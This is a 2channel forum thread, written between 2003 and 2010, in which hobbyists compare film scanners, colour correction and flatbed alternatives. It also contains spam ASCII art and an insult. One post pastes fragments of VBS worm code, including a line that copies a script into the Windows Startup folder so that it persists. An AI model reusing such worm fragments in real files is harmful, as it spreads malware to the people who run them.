1 :
名無しさん@お腹いっぱい。:
2げっと!でもすぐなくなりそー
3 :
名無しさん@お腹いっぱい。:03/05/25 01:07 ID:+zA12j4F
エプソンの9800なんかとは全然格の違う出来栄えになる?
フィルムスキャナ高すぎ。・゚・(ノД`)・゚・。
4 :
俺なんて:03/05/25 01:09 ID:frYxAfBc
4
5 :
名無しさん@お腹いっぱい。:03/05/25 04:03 ID:+B0GpW0c
6 :
きねんカキコ:03/05/25 16:27 ID:VTLUG3Wq
CCDスキャナつか透過専用ね。
フィルムスキャナとフラットベッドっていう区分けの仕方に未だ違和感
ありまつ。。他のひとのイケンきぼん。
>>6 形状や取り扱うものの問題だからしゃーないのでは。
フィルムスキャナって写真用フィルム専用だしね。
8 :
名無しさん@お腹いっぱい。:03/05/26 17:08 ID:gA/IeNbl
カメラ板のほうがいいかも…
あっちにはあるよ。
あぼーん
11 :
6:03/05/26 23:08 ID:ktdmyu6L
>違和感
名前のつけかた、ネーミングね。。ま、ネタなんだけど。
わし製版屋なんで
フラット=CCD使用
フィルム=製版用リスフィルム(2階調)
一般撮影用フィルム=ポジ(リバーサル)フィルム(連続調)
つーイメージが強いんでつ。
ネタなら他人の意見聞くなよ
はじめてフィルムスキャナ(canoscan2700F)が入手できたので利用してみたのですが、カラーマッチングONで
スキャンのあと写真屋で自動レベル補正かけるのと、カラーマッチングOFFでスキャン後、自動レベル補正
かけるのとどちらがいい感じに取り込めるのか悩んでいます。
前者は全体が鮮明でとくにに赤がきつすぎる気がしますし、後者は少しだけ彩度と明るさが足りない気がします。
皆さんはどういった設定で取り込んでどんな補正をかけているかを参考にしたいので意見が聞きたいです。
14 :
名無しさん@お腹いっぱい。:03/05/30 13:25 ID:5BaUqK15
飛ばないようにと潰れないようにを重視してスキャンしてる
>13
カラーマッチングOFFで手動で補正かける
フィルムによって色の出方が変わるので
フィルムごとに補正のかけ方かえる必要がある
試行錯誤してフィルムごとのデータを取れ
16 :
13:03/06/02 03:00 ID:i6vxubrO
>>14-15 レスありがとうございました。取りあえずお二方ともその都度補正をかけるということが
わかりました。カキコのあと何本か取り込んでみましたが、どのみち写真屋で切り抜きが
必要なのでカラーマッチングOFFで取り込むことに決めました。
17 :
マスキング:03/06/16 12:15 ID:G3iZ4WQn
40年ほど前のカラーネガがたくさんあるのですが、
フィルムスキャナーで取り込めますか?
アグファ、ゲバ等マスキングがないものばかりなのですが。
>>17 35mmや120などの、フィルムサイズが特殊で無いネガならば
とりあえず大丈夫ですよ。
もし、ニトロセルロースベースの場合は、火事に気を付けて、念のため。。
19 :
名無しさん@お腹いっぱい。:03/07/02 17:22 ID:0NGbdkql
35mmネガのフイルムスキャナーで
旧製品でもこれは良いと言う機種ありますでしょうか?
資金がとぼしく中古品しか買えません
最大A4くらいまでの引き伸ばしを予定しております
20 :
名無しさん@お腹いっぱい。:03/07/03 07:10 ID:glYXlpgo
CCDで透過対応なら・・・ エプの9800でも充分だよねぇ?
エプ・スキャナの良いところはCCDセンサだものね。
って、試してないからわからないんだけど。
ホームユース程度ならよさげかな???
タマ切れを起こしている(らしい)キャノFS2710どうしよ
1マンで交換してくれるとは聞いているんだが
アキバまで担いでいくのがめんどいなぁ
エプソンGT−9800ですか
新しいですね値がはりますね
旧製品でフイルム専用でないですか?
23 :
名無しさん@お腹いっぱい。:03/07/04 01:40 ID:OIYLHDSv
>>20 フィルムスキャナとしてはとても十分とはいえないよ。
24 :
じてんしゃや ◆uY49BxokLQ :03/07/04 14:12 ID:IsNMA8A1
>>19 いまだにFS-1200使ってる。エプソンね。
これが現役の頃の評価ではコニカの方がよかったのかな???
メモリー不足でスキャナの性能全て使えたことはないからこれ以上の
ものはいらん(w
これだったら中古で安くでてるよ。
>>24 ありがとございます
当方フイルムスキャナでエプソンはあまり眼中に無かったのですが
一度さがしてみます
27 :
山崎 渉:03/07/15 11:17 ID:NJrVKJa0
__∧_∧_
|( ^^ )| <寝るぽ(^^)
|\⌒⌒⌒\
\ |⌒⌒⌒~| 山崎渉
~ ̄ ̄ ̄ ̄
∧_∧ ∧_∧
ピュ.ー ( ・3・) ( ^^ ) <これからも僕たちを応援して下さいね(^^)。
=〔~∪ ̄ ̄ ̄∪ ̄ ̄〕
= ◎――――――◎ 山崎渉&ぼるじょあ
■■□■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■□■■■■□■■■■□■■■■■■■■■■□■■■■■■■■
■■□□□□■■□■■■□■■□□□□□■■■□■■■■■■■■
■■□■■□■■□■■■□■■■■■■□■■■□■■■■■■■■
■□■■■□■■■■■□■■■■■■□■■■■□■■■■■■■■
■□■■■□■■■■■□■■■■■■□■■■■□■■■□■■■■
■■■■■□■■■■■□■■■■■□■■■■■□■■■□■■■■
■■■■□■■■■■□■■■■■■□□■■■■□■■□■■■■■
■■■■□■■■■■□■■■■■□■■□■■■□■■□■■■■■
■■■□■■■■■□■■■■■□■■■■□■■□■□■■■■■■
■■□■■■■■□■■■■■□■■■■■■■■□□■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■□■■■■■□■■■■■■■■■■■■■■■■■■■■■
■■■□□■■■■■□■■■■■■■□□□□□□□□□□□□■■
■■□□■■■■■□□□□□□■■■■■■■■■■■■■□□■■
■□□■■□■■■□■■■■□■■■■■■■■■■■■□□■■■
■■□■□□■■□□□■■□□■■■■■■■■■■■□□■■■■
■■■□□■■□□■□□□□■■■■■■■■■■■□□■■■■■
■■□□■■■■■■■□□■■■■■■■■■■■□□■■■■■■
■■□■■■□■■■□□□□■■■■■■■■■■□■■■■■■■
■□□□□□□■■□□■■□□■■■■■■■■■□■■■■■■■
■■■■□■■■□□■■■■□□■■■■■■■■□■■■■■■■
■■□■□■□■■■■□□■■■■■■■■■■■□■■■■■■■
■■□■□■□■■■■■□□■■■■■■■■■■□■■■■■■■
■□□■□■□■■■■■■■■■■■■■■■■■□■■■■■■■
■□■■□■■■■□□□■■■■■■■■■■■■□■■■■■■■
■■■■□■■■■■■□□□■■■■■■■■■■□■■■■■■■
■■■■□■■■■■■■■□□■■■■■■□□□□■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
おいおい、元からあったスレを荒らしてどうすんだよ。
アク禁決定かな?
*************************************************************************
●このスレは重複スレです。本スレに誘導します。
■■■ フィルムスキャナ統一スレッド ■■■
http://hobby2.2ch.net/test/read.cgi/camera/1059583806/l50 *************************************************************************
---------------------------------- このスレは無事に終了しますた - ---------------------------------
ついでに言えば、このスレはもともとカメラ板のスレとは別のスレなんだけどねぇ。
NGワード3つで対処(w
悪菌決定だな。
36 :
名無しさん@お腹いっぱい。:03/08/03 19:20 ID:XKA+UuUH
保全。
あぼーん
40 :
山崎 渉:03/08/15 22:07 ID:onTdvqcT
(⌒V⌒)
│ ^ ^ │<これからも僕を応援して下さいね(^^)。
⊂| |つ
(_)(_) 山崎パン
41 :
山崎 渉:03/08/15 22:40 ID:onTdvqcT
(⌒V⌒)
│ ^ ^ │<これからも僕を応援して下さいね(^^)。
⊂| |つ
(_)(_) 山崎パン
あぼーん
VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
ほしゅ
45 :
名無しさん@お腹いっぱい。:03/09/18 14:10 ID:06YhbAAD
浮上
46 :
名無しさん@お腹いっぱい。:03/09/18 23:50 ID:rTZPG6V1
NIKON新型は年末
47 :
名無しさん@お腹いっぱい。:03/09/28 19:24 ID:wPzucxv+
前に出ていた質問と微妙にかぶってうざったいとは思いますが、
教えて君させてください。
写真が好きな素人です。モノクロとカラーのネガが沢山あります。
よくフジカラーのCD-Rに焼くサービスを利用するのですが、
それよりも高画質に、A4くらいまで引き伸ばしてもOK位の画質で
取り込みたいと思っています。
ヤフオクあたりで中古を狙っているのですが、
すみませんがお奨めの機種を教えていただけないでしょうか?
できればエプソン以外を希望です。
48 :
名無しさん@お腹いっぱい。:03/10/07 13:04 ID:aTZP49Wm
Nikon COOLSCAN4が安くなってお買い得です。
フィルムのキズほこりも取ってくれます。
スリーブのまま吸い込んでくれるので、取込も楽チンです。
49 :
名無しさん@お腹いっぱい。:03/10/07 19:23 ID:j0kqaVAB
ありがとうございます。
別スレで4EDが絶賛されていたので買いましたが
噂に違わず、とても良い物でした。
ヨドバシで\39,800-の18%ポイント還元。
憧れのニコン製品がこんなバーゲン価格で買えるなんて(T_T)
感激です。
>>48 スリーブじゃなくてストリップだよな…
と一応突っ込んどくw
51 :
名無しさん@お腹いっぱい。:03/10/29 12:15 ID:6GdY32Xz
52 :
名無しさん@お腹いっぱい。:04/02/13 00:16 ID:op8PJHz9
9000ED、14日発売age
53 :
名無しさん@お腹いっぱい。:04/02/14 17:26 ID:izoTJQ2J
店で現像に出すとき「ストリップ」と言うのは恥かしいです。
54 :
名無しさん@お腹いっぱい。:04/02/24 21:20 ID:hmTlC9HW
スリーブじゃね?
漢なら長巻で!
58 :
名無しさん@お腹いっぱい。:04/03/18 01:33 ID:3vDYx2XT
お聞きしたいんですがキャノンのLide30を友人から買ったんですがこの機種はネガの取り込みはできないのでしょうか?
また、ネガの取り込みには専用のセットするフレームが必要との事ですがそれを用意できればネガ→取り込み→写真は可能ですか?
59 :
256兄さん ◆mM256OOOO6 :04/03/22 21:57 ID:+mt4yMTQ
>>58 LIDE30はフィルムスキャナついてないよ。
60 :
名無しさん@お腹いっぱい。:04/04/09 19:50 ID:6rhEPrjd
キャノンの9900FとコニカミノルタDUALWとどちらにするか悩んでます。
値段もほぼ同等、キャノンは汎用機、ミノルタは専用機。。。
専用機、ミノルタかニコンで悩んだ方がいい。
>>56 光源が原稿別に3つ付いてるんだねぇ。
それってどのくらい効果あるんだろう…。
EPSONのフィルムスキャナって、あんまりいいイメージわかないけど、
スキャンドライバは使い慣れてるから、ちょっと興味あるな。
まぁ、発売後に人柱待ちかな。
どうだろ
64 :
名無しさん@お腹いっぱい。:04/11/01 21:24:52 ID:bnuPPij7
age
ってか最近新機種でないねぇ
あぼーん
あぼーん
ゴミキズ補正無しのフィルムスキャナ(DiMAGE Scan DualIV、F-3200等)を買うか、
有りのフラットベッドスキャナ(CanoScan8400F等)を買うか。
それが問題だ。
68 :
名無しさん@お腹いっぱい。:04/11/04 00:34:05 ID:0sPzQG0I
>>67 素直にDiMAGE Elite5400買え
69 :
名無しさん@お腹いっぱい。:04/11/19 03:36:04 ID:5bY7yCsg
>>68 素直にDiMAGE Elite5400買たよ・・・っていうか・・・スキャンがめちゃくちゃおせ〜!
70 :
名無しさん@お腹いっぱい。:04/11/19 08:02:15 ID:Ld5Uuf3F
>>69 素直にNokin CoolScanV買えばいいのに。
4000dpiスキャン40秒だよ。
71 :
名無しさん@お腹いっぱい。:04/11/19 23:32:20 ID:te2GpuRy
漏れもElite5400持ってます。
5400dpiもイラネ○| ̄|_
しかも激遅。DIGITAL ICE ONだとさらに遅い。16bitだともっと遅い。
sage
73 :
名無しさん@お腹いっぱい。:05/01/15 23:17:24 ID:8FbI/x1h
ID:o//mGqurは馬鹿 死ね!
74 :
名無しさん@お腹いっぱい。:05/01/24 11:39:48 ID:pKntEH3U
類似スレってどこー?
Nikon COOLSCAN4ED使いです。
winXPをインストールし直す必要があったので、
XP再セットアップ後ドライバもnikonホームページから落としたものを入れて
いざスキャンしようとすると、いつもの動作音で1秒くらい動き、すぐ止まってしまいました。
以後うんともすんとも・・・
windowsを再起動しないと他のソフトも使えません。
何が悪いんだか・・・
76 :
名無しさん@お腹いっぱい。:05/02/23 15:13:09 ID:ZYQRKK34
77
78 :
名無しさん@お腹いっぱい。:2005/11/10(木) 23:05:40 ID:nvizoGiF
9000ED・・値段下がらないかな
>>78 オレは去年買ったけど、ほとんど値段変わってないね。
近所にある中古PCショップで、
エプソンのフィルムスキャン対応スキャナ(GT-8300UF)が展示品限りで3980円(税込:4179円)で売っていた。
もちろんオレが買った。(^ー^)
中古だから箱や分厚そうなマニュアルはないのはあたりまえだが、
それにしては、付属のCD-ROMやフィルムホルダーもあるし、なにより汚れもなくきれい(多少のシミは軽くすっとふけた。)、出力も問題無かった。
いままでつかってきたふつうのスキャナーはそこに売るつもりでいます。
(いまさらパラレルっつうのも変だしな)
81 :
名無しさん@お腹いっぱい。:2006/01/18(水) 17:09:42 ID:58QDUfW/
ニコンから、コダクローム用Digital ICE Professional 対応、35mm専用
スキャナーが、10万円台でもうすぐ出ます。
9000EDの35mm専用バージョンってわけです。
と言う、ニュースを早く聞きたい。
82 :
名無しさん@お腹いっぱい。:2006/01/23(月) 22:08:16 ID:jdKVUqxT
2005年のBCN売上ランキング通年最終版がでました。
予想以上に●●エプの圧勝●●です。
プリンタ単体機ですらエプの勝利。
■ インクジェットプリンタ部門 (単体機です)
順位 ベンダー 台数シェア(%)
☆1 セイコーエプソン 45.9 ☆
★2 キヤノン 43.4
★3 日本ヒューレット・パッカード 5.7
------------------------------------------------
■ 複合プリンタ部門
順位 ベンダー 台数シェア(%)
☆1 セイコーエプソン 52.5 ☆ ←←←←圧勝PM-A890&名機群>>>>>ゴミMP800クズMP500 (´゚c_,゚` ) プ
★2 キヤノン 30.2
★3 日本ヒューレット・パッカード 10.1
30%なんて、PM-750C vs BJC-なんだらかんだらの時代じゃん。
キヤノン複合機なんてもう眼中にいれなくてもよさそうだな。
http://bcnranking.jp/feature/04-00005796.html 他にノートパソコンや各周辺機器のランキングも載っています。
84 :
名無しさん@お腹いっぱい。:2006/01/24(火) 15:13:14 ID:0FQrE3Jx
>>83 HPの8753と、ピクトリコハイグロスフィルムとの組み合わせによる
透き通るような透明感とすばらしい発色にはどんなプリンターもかなわないよ。
ざらざらの紙用のエプの5500には縁のない事だけど。
売れた数より、中身が大事だよね。
85 :
名無しさん@お腹いっぱい。:2006/01/24(火) 20:56:31 ID:EsPBVDI7
>>84 コピペに対抗コピペワラタ
惨めな事すんなよw
87 :
名無しさん@お腹いっぱい。:2006/02/22(水) 16:16:25 ID:23N0JU0Q
88 :
名無しさん@お腹いっぱい。:2006/03/10(金) 22:07:17 ID:OIwqmuGD
エプからGT-X900が出たけれど、
F3200買うより、こっちの方が幸せになれるのかな?
89 :
名無しさん@お腹いっぱい。:2006/03/12(日) 17:50:30 ID:SOA6EsUw
こればっかりは実際使った人のレポ待つしかないと思う
しかしうすらでかいねx900
90 :
名無しさん@お腹いっぱい。:2006/03/14(火) 12:33:08 ID:SU5+ZsEi
人柱さま。
報告お待ちしています。
91 :
名無しさん@お腹いっぱい。:2006/03/24(金) 00:10:08 ID:9VPW4Lac
今まで35mmフィルムのみでしたのでDS Dual IVを使用しておりますが
ブローニーをスキャンしたいので買い換えようかと。
で、F-3200を見に行ったら横にあったGT-X900。
何これ、でかっ!でも、なんかF-3200よりも、もしかして良さげ?
価格もそれほど差は無いし、むしろ安い。
どっち買ったほうが幸せか悩んでおります。
92 :
名無しさん@お腹いっぱい。:2006/03/24(金) 01:10:51 ID:2bJ4RKnN
93 :
91:2006/03/24(金) 07:21:16 ID:9VPW4Lac
>92さん
参考URLありがとうございます。
X900ってデュアルレンズシステムで、フィルム面にピン合うように
なってるのかと理解してましたが、それにも限界アリなんでしょうかね。
フラットベッドでフィルムスキャンするのは以前GT-8200UFの透過ユニットで
経験して、その時はダメだと諦めましたが、X900ならそのあたりは気にならないような
性能になってるのかと期待しているのですが。
使用中のDS Dual IVはだいぶ良いですが、ブローニーをスキャンしたいとなると
どうしても選択肢が限られてきてしまいます。
ま、X900もF-3200も5万くらいだから、どっちかとりあえず買ってみて自分で確かめるのが
一番ですね
95 :
名無しさん@お腹いっぱい。:2006/03/24(金) 12:09:41 ID:YCNGhnGp
↑
いまどきこんなの信じるやついんのか。
プリントスキャンってなんですか?
詳しく教えてください。
8年前くらいにスキャナー購入...
全然使ってないが、最近ブローニーを使うことが多くなりフィルムスキャナの購入を検討しています。
やっぱり、普通のスキャナよりフィルムスキャナの方が写真を取り込むにはよさげデスね...
でも、そこまで写真を撮るのか?
という疑問もあり...
まぁ、年末くらいまで様子見になりそうです。(新製品も出そうだし...)
98 :
名無しさん@お腹いっぱい。:2006/04/23(日) 14:33:00 ID:3JyOwYM8
フィルムスキャナの新製品って出るかなぁ?
おいらは、
新製品出たら、(出て?)欲しぃーなぁー
と希望的観測の下静観しとります。
100 :
名無しさん@お腹いっぱい。:2006/04/23(日) 23:45:30 ID:agtmgB57
>>99 ED8000クラスのブローニ対応のフィルムスキャナーが10万円くらいで出てくれたら飛びつくんだがw
知人からもらったNikon CoolScan Vを持ってます。
が実は2年ぐらい使ってません。PCを買い換えたときに
このフィルムスキャナをほとんど使ってないので
SCSIアダプタを挿さずに・・・そのまま。
多分まだ動くはずだと思ってます。
ところで最近のフラットベッドスキャナはフィルムに
関してもノイズ除去がついたり12枚連続取り込みと
(カタログだけ見る限りに追いは)便利そうだし
なによりUSB接続の方がなにかと気が楽なのですが
やはり2006年現在でもフラットベッドより
この超旧型のCoolScanVの方が色もピンも良いでしょうか。
ポジで撮りためた昔の写真を少しつづスキャンしたいと
いうことなのですが、最近はフィルムではほとんど
撮らないのですが。
102 :
名無しさん@お腹いっぱい。:2006/06/18(日) 14:37:17 ID:/B4Z2Hxl
今どきフィルムを使う人は増えないだろうからフィルムスキャナーは
余り売れないらしく開発もそれほどやってないよう。フラッドヘッドは進化を
続けているから、コストや機能の豊富さの面ではフラッドヘッドの方がよいらしい
(例えばクールスキャンはWでもUSB2.0は使えない)
しかし肝心のスキャンの画質については、フラッドヘッドはピントは甘いし
よくないらしい。自分も迷ってる
103 :
名無しさん@お腹いっぱい。:2006/06/18(日) 23:50:36 ID:HG7VuSbd
>>101 もし良かったらCOOLSCAN IIIでスキャンしたものどこかにうpしてもらえないかな?
画像見ればだいたい判断できると思う。
>>102 キミの用途がWeb用とかディスプレイで見るだけ。
もしくはプリントしてもL判のみと言うならフラットベットで十分だよ。
でももし2L以上でプリントするならフィルムスキャン買っておいた方が後悔がないよ。
解像感だけでなく階調の幅がとにかく違う。
特にシャドー部がよく粘ばる。
情報量が豊富だと大胆にレタッチも出来るしね。
104 :
101:2006/06/20(火) 15:06:10 ID:VccvdJTo
>103
レスありがとう。返事が遅くなってごめんなさい。
画像自体はあるんだけど、upってしたことないし、
アプローダも使ったことないので、微妙に迷ってます。
最近35mmのネガを見ていたら、フィルムスキャナーがほしくなってきました。
安そうなフィルムスキャナーを探したら、
エプソンのF3200とニコンのクールスキャンV
どっちがいいんでしょうか?
やっぱりニコン?
クールスキャンV
やっぱり、注文しちゃいました。
6万円。。やっぱり高いなぁ。
108 :
EOS55:2006/08/27(日) 13:32:50 ID:/oPt6OH2
昔Canoscan Fs2710 を使ってて結構便利だったのだがWinXpに対応しなかったので
エプソンF-3200を買った。読み取り速度は格段に上がったし画質も及第点なのだが
何せ横型なのでほこりがすごい!使っているそばからほこりが降ってくる・・・_| ̄|○
ネガを置く透明なプラスチックの上にもほこりが付くし・・・みんなどうしてるの?
俺は透明な板を取ってしまおうか思案中・・・縦型にすれば良かったかな?
>>108 まず部屋を大掃除。ぞうきん掛けをする。空気清浄機を付ける等の対策が先。
フィルムスキャナーで古いネガ読むのと
新たに写真にプリントしてその写真で普通のスキャナーで
読み込むので代用するのとで差はどのくらいあるもんでしょうか?
画質とコストでみてどうでしょうか。
111 :
名無しさん@お腹いっぱい。:2006/09/27(水) 09:49:06 ID:2OH+B5+U
捨てるに捨てれない、やると言っても誰も貰ってくれない、FS-1300WINS。
win2000でもちゃんと使えれば良いんだけど。
皆さん、古いスキャナどうしてますか。
112 :
名無しさん@お腹いっぱい。:2006/09/27(水) 10:01:41 ID:kjgt0Iua
113 :
名無しさん@お腹いっぱい。:2006/09/30(土) 19:53:17 ID:FDvRsRf8
お、貰ってくれますか。
ではこちらに住所氏名を、、、着払いで、、、、
>>110 焼き直しをしてくれる店でプリントして、納得がいくのをスキャナで取り込んで
フォトショップとかで補正するのが一番気が楽だと思います。
114 :
名無しさん@お腹いっぱい。:2006/10/01(日) 00:48:55 ID:akhw+Mii
保守
115 :
110:2006/10/01(日) 17:31:58 ID:vYgqeea2
>>111=113
レスどうもです。結局フィルムスキャンを業者に頼んでやろうかな
と考えてます。スキャナー買うより安いし解像度も高いので、
それが一番画質が良さそうです。
写真で焼きまわしは現像所でかなり色の仕上がりに差が出たりするので。
ところでその機種scsiみたいなのでxpでも動くと思いますよ。
aspi32.exeを入れるとかで。うちのスキャナJX-250も現役です。
それを知らない人からヤフオクで安く落札したいから
黙ってるって人もいるのかもしれませんが。^^
>>112ゴメンネ
でももうだいぶ知れ渡ってると思いますが。
http://pc8.2ch.net/test/read.cgi/printer/1051883087/
普通に機械焼でプリント出したら端が切れる。色もまちまち。
かといって自分でスキャンしてそれなりの結果を出すにはスキルが必要。
photoCDにしてもらうあたりが妥当では?
117 :
名無しさん@お腹いっぱい。:2006/10/11(水) 11:47:58 ID:9eZOMgAg
横から失礼します。
APSってフィルムスキャンできるスキャナでスキャンできないんでしょうか?
どなたかよろしくお願いします。
ありますよ (ありましたよ)
119 :
名無しさん@お腹いっぱい。:2007/01/28(日) 23:23:46 ID:giFqQ6pn
保守してもいいですか?
120 :
名無しさん@お腹いっぱい。:2007/02/18(日) 19:29:19 ID:QrDXM490
Canonの5200F使ってるけど、原稿台ガラス面の内側に埃が入り込んじゃって、うまくスキャン出来ないんだけど、取り除く方法ある?
121 :
名無しさん@お腹いっぱい。:2007/02/19(月) 01:09:45 ID:kUmkWND5
>>117 現在に発売されてるスキャナーではニコンのみオプション設定。
ただし価格.comでそのアダプターも販売中止との書き込みありです。
aps(ノД`)シクシク・・・
ボーナス入ったのでフィルムスキャナ購入予定でつ
5000ED興味あるけど10マソはちょっと・・・なのでV ED買ってみます。
123 :
名無しさん@お腹いっぱい。:2007/08/24(金) 12:20:15 ID:VsNEOFaQ
フルサイズデジ一眼が買えないので、フィルムスキャナだけが頼りです。
124 :
名無しさん@お腹いっぱい。:2007/08/24(金) 20:41:03 ID:TNqcEXrK
デジイチ専用の広角レンズ買えば済む話だろ
125 :
名無しさん@お腹いっぱい。:2007/08/25(土) 01:52:49 ID:jN2NN+hk
削除依頼って何をいまさら
別板に誘導とかアホかと
EpsonのGT-X770とGT-X900とで悩んでいます。
GT-X770のほうがフィルムを入れられる枚数が少ないというだけで、
スペックを見る限りでは性能面ではGT-X900と大差がないように見えます。
ですが、GT-X770があんなにコンパクトで、GTーX900があれだけ
大きい筐体ということは、やはり取り込まれる画像の画質に絶対的な
差があると考えた方がよいのでしょうか?
両機種つかったことあるかた、もしくはご存知の方がいれば、
教えてください。
フラットベッドってだけで却下だな。
どうせなら安い方が救われるかと。
>>130 同じく。
フィルムスキャンするなら黙ってフィルムスキャナにしとくのが吉。
値段以上の差が出てくるはずだから。
>130-131
そんなに差がでるものなんですね・・・
じゃぁ、ほんとの話、安い方買った方が救われそうですね。
で、本格的にやるようになったらフィルムスキャナという
方向でいこうかなと・・。
>>132 > で、本格的にやるようになったらフィルムスキャナという
> 方向でいこうかなと・・。
それまでフラットベッドでスキャンしたフィルムをまた一から
スキャンし直すんだ。面倒くさい。
はじめからフィルムスキャナにしとけば?
大量のフィルムのスキャンだと、24コマバッチスキャンできるGT-X900/970が
有利そうに感じる。フィルムスキャナだと6コマまでしかできないし(長巻やマウントなら別だけど)
帰宅後、寝る前、出勤前の3回セットすれば1日にフィルム2本分デジタル化
できるというのは皮算用でしょうか。
以前使っていたLS-2000は読み取り速度はそこそこ速いのだけど、プレビューが遅くて結局
つきっきりになってしまい、途中で断念した経験があるもので・・・。
>>135 書き間違えた。仕様、上の方はX970ね。
だれかが、高解像度だといわれるフィルム使い、全く同じ構図で
同じ露出で、一気に36枚撮ってきて現像、2カットか3カットづつ
スレで(捨てメアド等を通して配布)、スキャナでスキャン結果を
UPってのはおもしろそう。
では、いいだしっぺからどうぞ
>>138 言われると思ったのだが・・・・(笑)。
やっぱ俺がやるのか。フィルムカメラは今はF80とNEW KISSしかないぞ。
>>139 カメラなんてどうでも良い。
重要なのはレンズ。
>>140 EOS マウント
135mm f2.0USM
85mm f1.8
50mm f1.4
17-40mm F4L
SIGMA 20mm F1.8
Fマウント
AF 28mm F2.8D
AF 50mm F1.4
AF 85mm F1.8D
N
途中で書き込んじゃった、すまん。
フィルム=フルサイズで使えるのは加えて
非Ai 135mm F2.8 があるがF80には装着できない。
あとたしか、18-55mm DX (デジカメキットレンズ)もあった、
28-55mm粋ではフルでも蹴られないし周辺もまあ使えたかな。
143 :
140:2007/10/28(日) 22:16:52 ID:Ty+YKN1E
>>141 ボディはアレなのにレンズはそれなりにこだわって選んでるのね。
どっちも85mmF1.8は値段の割に良く写る良いレンズだよね。
それに引き替え50mmF1.4はどちらのメーカーもあれれって感じ。
特にキヤノンの50mmなんか値段が高くなるにつれて写りが(ry
144 :
名無しさん@お腹いっぱい。:2007/10/29(月) 19:49:07 ID:u5mV7nrg
>>141 レンズは良いの使ってくれ。
そのレンズじゃ話にならない。
せめてニコンEDかカールツァイスにしてくれ。
>>144 わかった、そのとおりだ。以下の作業をお前に頼んだ。
>だれかが、高解像度だといわれるフィルム使い、全く同じ構図で
>同じ露出で、一気に36枚撮ってきて現像、2カットか3カットづつ
>スレで(捨てメアド等を通して配布)、スキャナでスキャン結果をUP
どうでもいいが、何で36枚一気に撮らないといけないの?
フィルムを配るためだろ。
それをスキャンして、差を見るのが目的では?
酢酸のにおいがするスレはここですか?
150 :
名無しさん@お腹いっぱい。:2007/11/11(日) 21:24:41 ID:xfTcXUj2
以前初代EOSKISSDから20Dに乗り換えるとき
KISSDを売る前に両者の比較のためちょうど出たばかりの新市蔓延札を写してみた。
もちろん三脚使用。
EF50mmF1.4と50mmF2.5macroが中心から周辺部まで圧倒的によく写ってた。
他には100mmF2.8macroと85mmF1.2、トキナ17mmF3.5だったが、腕が悪いのか周辺部でボケた。
ズームレンズはボケボケで問題にならなかった。(Lレンズではない)
これから高画素数のデジカメが普及すると単焦点レンズが売れるだろうと思った。
まあ、おれは幸い金が無いので沼にはまりたくてもはまれないでいるが。
そんな事を思い出したのでぜひやってほしい。
人
カタカタカタ(__)
カタカタ (__) / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
カタ (・∀・#)< 誤爆は許さないお!
_| ̄ ̄||_)_\_________
/旦|――||// /|
| ̄ ̄ ̄ ̄ ̄| ̄| . |
|_____|三|/
152 :
名無しさん@お腹いっぱい。:2007/11/19(月) 02:27:34 ID:Y/lF+WZd
ageとくね
155 :
名無しさん@お腹いっぱい。:2008/02/22(金) 22:11:11 ID:BKjZajQG
うおー
パソコンが死んだ。
ドライバがXPに対応してねぇ...
156 :
名無しさん@お腹いっぱい。:2008/04/21(月) 18:02:02 ID:HmDbO0Ux
age
157 :
名無しさん@お腹いっぱい。:2008/06/02(月) 23:12:13 ID:QCSYc0he
保守あげ
158 :
名無しさん@お腹いっぱい。:2008/11/11(火) 21:44:41 ID:0tH3VjpV
AGE
Flextight X5とニコンのSUPER COOLSCAN 9000 EDってどっちが性能いいの?
価格に9000EDの方が上とか書いてあったんだけど・・・
160 :
名無しさん@お腹いっぱい。:2008/11/29(土) 21:15:31 ID:P+hQK7wj
以前、キヤノンの二代目フィルムスキャナを借りたりしてたことがあるんですが、
自前の買おうにも店頭にない。
メーカーはフラットベットでのフィルムスキャンにシフトしよるようですが、
スキャン性能はいかがなんでしょう?ちなみに私はポジ専門のフィルムヲタ。
フィルム専用のってマニアックすぎるのかな?
162 :
名無しさん@お腹いっぱい。:2008/11/29(土) 23:04:00 ID:P+hQK7wj
161さんありがd
皆さんの、生の意見が語られてる!
163 :
名無しさん@お腹いっぱい。:2009/04/20(月) 01:12:19 ID:wW0RZTr8
166 :
名無しさん@お腹いっぱい。:2009/05/02(土) 17:23:40 ID:bxeFsyiB
>163
エプソンかわいそうに・・
F3200はフラットベッドスキャナーの亜種だから、使い方に制限があるのは
当然なのに。
フィルムスキャナーにしたって調整は必須。それでもうまくいかないと、
悩んでる人は多い。
典型的なメーカーにおんぶに抱っこの類だ。
取り込みのソフトウェアはなんだろう。vuescanは試してみたのかな?
純正の方にゲイン(露光)調整は付いてないのかな?
付いてないとしたら、アンダーのフィルムが苦手って十分ありえるが・・
167 :
名無しさん@お腹いっぱい。:2009/05/02(土) 17:29:25 ID:bxeFsyiB
たしかf3200って、小さい反射原稿読めるんだよね。
その時点で推して知るべし・・。
MultiPROって16ビットで読み込むとすごい綺麗だったんだな。
今まで河童1GのボロPCだったんで8ビットメインだったんだけど
C2QのPCで面白半分で試したら驚いたわ、キタムラに売る予定だったけどやめた。
>>170 どうせキタムラ含めた中古カメラ屋じゃ二束三文
飽きたら予告してからオクに流してw
漏れもDimageのMultiProは使用頻度は減ったけど現役だよ。
Windows7のXPモードで使えるかどうかによって今後も続行するかどうか決める予定。
父上にフィルムスキャナをプレゼンツしたいんだが、
おぬぬめフィルムスキャナは、ど〜れ?
操作が簡単なやつがいい。
トパーズ
181 :
名無しさん@お腹いっぱい。:2010/08/07(土) 20:09:48 ID:LfC9RF1t
最近機種が減っているね。撤退した会社もあるし。
182 :
名無しさん@お腹いっぱい。:2010/08/12(木) 09:11:25 ID:Kw2XE3Ws
>>179 数年前から、フラットベッドスキャナの方が高画質にスキャンできることが証明されている。
ただし、ピントを調整するために、テープなどを張る。
過疎ってるね… もう、新たにフィルムで撮影とかしないからかね。
俺も、今現在フィルムスキャナで子供の時からの全フィルムの
デジタル化しているが、この作業が終わったらスキャナをオークションに
出すつもり。
現在利用中のスキャナ > Dimage Scan Dual II
